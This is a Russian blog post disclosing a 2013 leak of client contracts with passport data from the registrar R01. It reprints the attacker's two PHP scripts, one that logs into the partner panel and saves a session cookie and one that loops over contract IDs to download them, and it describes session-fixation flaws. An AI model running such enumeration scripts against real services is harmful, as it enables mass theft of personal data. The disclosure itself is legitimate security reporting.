R01: утечка паспортных данных клиентов

в 7:06, , рубрики: информационная безопасность, утечка, метки:

22 октября 2013г с 2 до 8 часов утра у R01 произошла утечка текстов 99999 клиентских договоров содержащие все паспортные данные клиентов, фактического адреса проживания, номера телефона и email. Фактически, из-за каких то проблем злоумышленник получил тексты примерно 50% процентов договоров (файлы были нулевые). Возможно, ранее были произведены аналогичные попытки слития и злоумышленник располагает полной базой договоров. Также по непонятной причине злоумышленник не удалил следы своего взлома и все данные успешно закешировались в google.

скриншот на утро 10 декабря (в настоящее время кэш очищен)
image
Узнаем, как это произошло:

Лирическое отступление: Я являюсь партнером r01 и домены регистрирую только на себя и друзей. 8 декабря мне стали поступать звонки от неизвестных людей которые просили меня предоставить доступ к их домену на основании того, что они готовы сообщить мне все паспортные данные владельца и при этом говорили, что паспорт они потеряли и вообще физически не могут встретиться, так как теперь проживут в другой стране. Я связался с другом, который регистрировал данный домен на своего клиента и он сказал, что с ним ни кто не связывался и мои контакты он ни кому не говорил. Мне стало интересно, откуда неизвестные взяли мой номер – я его ни когда не засвечивал в сети и при наборе его в google я обнаружил свои договор по адресу ns2.kladovochka.net/gmail-box.com/100000-119999/res/XXXXXX.html
kladovochka.net – хостер gmail-box.com (домен с регистрационным email владельца poddrop[doc]lenta.ru)

Перейдя по адресу ns2.kladovochka.net/gmail-box.com/ я увидел следующую картину
image

Названия папок и уже упакованных архивов — видимо внутренние порядковые номера договоров в базе R01. В каждой папке были тексты соответствующих договоров и скриптов взлома, различающихся только выборкой последовательности номеров (скорей всего слитие шло параллельно).

Судя по исходникам слития базы договоров алгоритм был следующий:

1 Запускается скрипт ses.php, задача которого просто залогиниться под партнерским аккаунтом и сохранить печеньку.

ses.php

<?php
error_reporting(E_ALL);
$cookie_file = "cookie.txt";
$ch = curl_init();
$url_string = 'https://partner.r01.ru/?';
curl_setopt ($ch, CURLOPT_URL, $url_string);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, "wizard_domain2=&auid=&htid=&action=1&login=18339/R01-REG&passwd=XXXXXX&remember=on");
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
curl_setopt($ch, CURLOPT_COOKIEJAR,  $cookie_file); 
curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
$html = curl_exec ($ch);
curl_close($ch);
echo $html;

Печенька cookie.txt содержит идентификатор сессии regbase2_id
cookie.txt

.r01.ru	TRUE	/	FALSE	0	regbase2_id	XXXXXXXXXXXXXXXXXXX
partner.r01.ru	FALSE	/	FALSE	0	test	passed

Далее запускается скрипт ugon.php, который используя ранее сохраненную печеньку перебирает печатные формы договоров и сохраняет их на сервере. По всей видимости, у r01 не было разделения прав для доступа партнеров только к своим договорам.

ugon.php

<?php
    set_time_limit(0);
    function save($i) {
    $ch = curl_init();
    $cookie_file = "cookie.txt";
    $url_string = "https://partner.r01.ru/AB/print_version.khtml?pftid=1932&type=enclosure&id=$i&outputf=htm";
    curl_setopt ($ch, CURLOPT_URL, $url_string);
    curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, 0);
    curl_setopt($ch, CURLOPT_SSL_VERIFYHOST, 0);
    curl_setopt($ch, CURLOPT_COOKIEJAR,  $cookie_file);
    curl_setopt($ch, CURLOPT_COOKIEFILE,  $cookie_file);
    curl_setopt ($ch, CURLOPT_RETURNTRANSFER, 1);
    $html = curl_exec ($ch);
    curl_close($ch);
    file_put_contents("res/".$i.".html", $html);
    }     
     
    for($i = 80000; $i < 100000; $i++) {
    save($i);
    }

Обо всем об этом я сразу рассказал службе поддержки r01 по всем доступным каналам, чтобы убедиться, что мое сообщение получено и они понимают серьезность проблемы. Просил их своим влиянием побыстрее заабузить хостинг и домен и запросить у google зачистку кеша. На момент моего сообщения логин злоумышленника был действующий – т.е. R01 не знали о существования проблемы. Через несколько часов ns2.kladovochka.net стал недоступен. На следующий день он снова заработал и уже все данные на нем были стерты.

P.S. Прошу прощения, что я только сейчас обнародую эту информация и кого то уже могли обмануть злоумышленники – я ждал пока google очистит кеш, чтобы другие мошенники не смогли собрать свою базу из google. И вчера на roem.ru/2013/12/10/addednews86718/ произошел слив информации об этом инциденте, который помог к середине дня затереть видимость данных и убрал доступ к сохраненной копии договоров.

P.S.S. Изначально я думал, что была украдена печенька администратора и в результате чего я выяснил, что regbase2_id остается действующим даже после разлогинивания клиента в панели управления по кнопке выход и также оказалось, что его можно было передавать как параметр в строке url – т.е. была возможна подмена сессий – сейчас исправлено.

Автор: televich

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js